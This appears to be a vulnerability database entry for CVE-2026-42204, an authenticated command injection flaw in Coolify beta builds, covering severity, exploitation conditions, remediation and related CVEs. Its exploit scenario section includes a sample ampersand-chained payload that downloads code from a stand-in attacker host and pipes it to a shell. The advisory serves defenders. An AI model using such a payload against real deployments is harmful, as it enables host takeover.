Skip to main content

Coolify CVE-2026-42204

| EUVDEUVD-2026-41955 HIGH
OS Command Injection (CWE-78)
2026-07-06 GitHub_M
8.8
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as team member
  2. Delivery
    Edit custom Compose/deploy command field
  3. Exploit
    Inject ampersand-chained shell command
  4. Execution
    Trigger deployment
  5. Persist
    Command executes on host
  6. Impact
    Host compromise and lateral access

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated Coolify account that is a member of a team/project with permission to edit the custom Docker Compose build, start, or pre/post-deployment command fields, and the target instance must be running an affected build (4.0.0-beta.471-4.0.0-beta.473) where the regressed SHELL_SAFE_COMMAND_PATTERN accepts ampersands. The injection is delivered specifically through those command-input fields and executes when a deployment using them is triggered. Limiting factors: valid authentication and team-level edit access are mandatory (PR:L, so not unauthenticated), only the three affected beta versions are vulnerable, and instances upgraded to 4.0.0-beta.474 are not exploitable.

Impact

The provided CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, base 8.8) indicates network-reachable, low-complexity exploitation requiring only low privileges (an authenticated team member) with no user interaction and full CIA impact - consistent with host-level command execution. Because Coolify manages the host and other tenants' workloads, host command execution is high-consequence despite the unchanged scope (S:U) rating. Mitigating real-world risk: exploitation requires a valid authenticated account with access to a project/team that can edit deployment command fields, which limits opportunistic mass exploitation and points toward insider or compromised-credential abuse rather than fully unauthenticated attacks. No EPSS score, KEV listing, POC, or SSVC decision data was provided, so exploitation-likelihood signals beyond the CVSS vector are unavailable - the priority rests on the high technical impact and the low privilege bar, not on evidence of active exploitation. The narrow affected window (three beta builds) also constrains the exposed population.

Exploit ScenarioDerived

An authenticated user with team access to a Coolify project edits a custom Docker Compose build or pre/post-deployment command field, appending an ampersand-chained payload such as & curl attacker/x | sh that the regressed allowlist now permits. On the next deployment the injected command runs on the managed host with Coolify's execution privileges, giving the attacker code execution and a foothold over other hosted workloads. Given AV:N/AC:L, this requires only UI/API access and no special timing; no public exploit was provided at time of analysis.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 06, 2026

OS command injection in Coolify (self-hosted server/app/database management platform) versions 4.0.0-beta.471 through 4.0.0-beta.473 lets an authenticated team member run arbitrary shell commands on the underlying host. A regression weakened the SHELL_SAFE_COMMAND_PATTERN allowlist so that ampersands were permitted in custom Docker Compose build, start, and pre/post-deployment command fields, enabling command chaining. The issue is fixed in 4.0.0-beta.474; no public exploit identified at time of analysis, and it is not listed in CISA KEV.

RemediationAI

Vendor-released patch: upgrade to Coolify 4.0.0-beta.474 (https://github.com/coollabsio/coolify/releases/tag/v4.0.0-beta.474), which restores the correct SHELL_SAFE_COMMAND_PATTERN via PR #9684 (https://github.com/coollabsio/coolify/pull/9684) and commit e1aac50b745cf499e710b7e35cd2a9d6a1538dd9. As a compensating control until patched, restrict who holds team membership and edit rights on projects so untrusted users cannot modify custom Docker Compose build/start or pre/post-deployment command fields, and audit those fields for injected ampersand/command-chaining sequences; the trade-off is reduced self-service for legitimate operators. Rotating or tightening team-member credentials and limiting network exposure of the Coolify UI/API further reduces the authenticated-attacker surface. Details are in advisory GHSA-chg4-63hm-xv9x (https://github.com/coollabsio/coolify/security/advisories/GHSA-chg4-63hm-xv9x).

Affected VersionsENISA

coolify 4.0.0-beta.471, < 4.0.0-beta.474

Affected Packages

euvd coolify_4_0_0_beta_471 fix: 4.0.0-beta.474

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Coolify is an open-source, self-hostable PaaS-style controller that provisions and deploys applications, databases, and services onto managed servers, largely by orchestrating Docker and Docker Compose. To let users customize deployments, it exposes free-text fields for custom Docker Compose build/start commands and pre/post-deployment hooks, which are ultimately passed to a shell on the host. To constrain this, Coolify uses an input allowlist named SHELL_SAFE_COMMAND_PATTERN. The vulnerability is a CWE-78 (OS Command Injection) flaw introduced as a regression in that pattern: it began accepting the ampersand metacharacter, which the shell interprets for background execution and command sequencing (e.g., &&, &), breaking the intended sandboxing of the supplied command string. The affected code is identified by CPE cpe:2.3:a:coollabsio:coolify and was corrected in PR #9684 / commit e1aac50.

Know when Coolify gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 8.8 HIGH

Network-reachable UI/API with only authenticated team-member access (PR:L) and no user interaction; injected command yields full host code execution, giving high C/I/A.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch available
Jul 06, 2026 - 23:01 EUVD
CVE Published
Jul 06, 2026 - 21:17 cve.org
HIGH 8.8

DescriptionCVE.org

Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. From 4.0.0-beta.471 through 4.0.0-beta.473, a regression in SHELL_SAFE_COMMAND_PATTERN allowed ampersands in custom Docker Compose build, start, and pre/post-deployment command fields, allowing an authenticated team member to inject shell commands that execute on the host. This issue is fixed in version 4.0.0-beta.474.

Executive ViewAI

Why It Matters

Coolify versions 4.0.0-beta.471 through 4.0.0-beta.473 contain an operating system command injection vulnerability allowing authenticated team members to execute arbitrary system commands on managed infrastructure. This enables potential compromise of all servers and applications controlled through affected Coolify instances. Organizations using these versions face direct operational risk and the possibility of widespread infrastructure compromise.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.4%
Top 72% exploitable
Prevalence
Medium
popular open-source self-hosted PaaS, but affected only in three beta builds
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2026-57498 CRITICAL POC
9.6 Jun 29

Cross-team authorization bypass in Coolify (open-source self-hosted PaaS) before 4.0.0-beta.474 allows an authenticated,

CVE-2025-34161 CRITICAL POC
9.4 Aug 27

Coolify versions prior to v4.0.0-beta.420.7 are vulnerable to a remote code execution vulnerability in the project deplo

CVE-2025-34159 CRITICAL POC
9.4 Aug 27

Coolify versions prior to v4.0.0-beta.420.6 are vulnerable to a remote code execution vulnerability in the application d

CVE-2025-64424 CRITICAL POC
9.4 Jan 05

Command injection in Coolify up to and including v4.0.0-beta.434 lets any authenticated low-privileged 'member' execute

CVE-2025-59156 CRITICAL POC
9.4 Jan 05

Remote code execution on the host OS is possible through Coolify's application deployment workflow prior to version 4.0.

CVE-2025-66211 CRITICAL POC
9.4 Dec 23

Authenticated command injection in Coolify's PostgreSQL initialization-script filename handling allows users with applic

CVE-2025-66210 CRITICAL POC
9.4 Dec 23

Coolify versions prior to 4.0.0-beta.451 pass user-supplied database names unsanitized into shell commands executed via

CVE-2025-66213 CRITICAL POC
9.4 Dec 23

Authenticated Coolify users who hold application or service management permissions can execute arbitrary commands as roo

CVE-2025-66212 CRITICAL POC
9.4 Dec 23

Authenticated command injection in Coolify before 4.0.0-beta.451 lets users with application or service management permi

CVE-2025-59158 CRITICAL POC
9.4 Jan 05

Stored cross-site scripting in Coolify versions up to and including v4.0.0-beta.420.6 lets an authenticated low-privileg

CVE-2026-34594 HIGH POC
8.8 Jun 29

Authenticated OS command injection in Coolify before 4.0.0-beta.471 lets any user holding destination management permiss

CVE-2026-34597 HIGH POC
8.8 Jun 29

Authenticated remote code execution in Coolify (self-hosted PaaS) before 4.0.0-beta.470 lets a low-privileged authentica

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy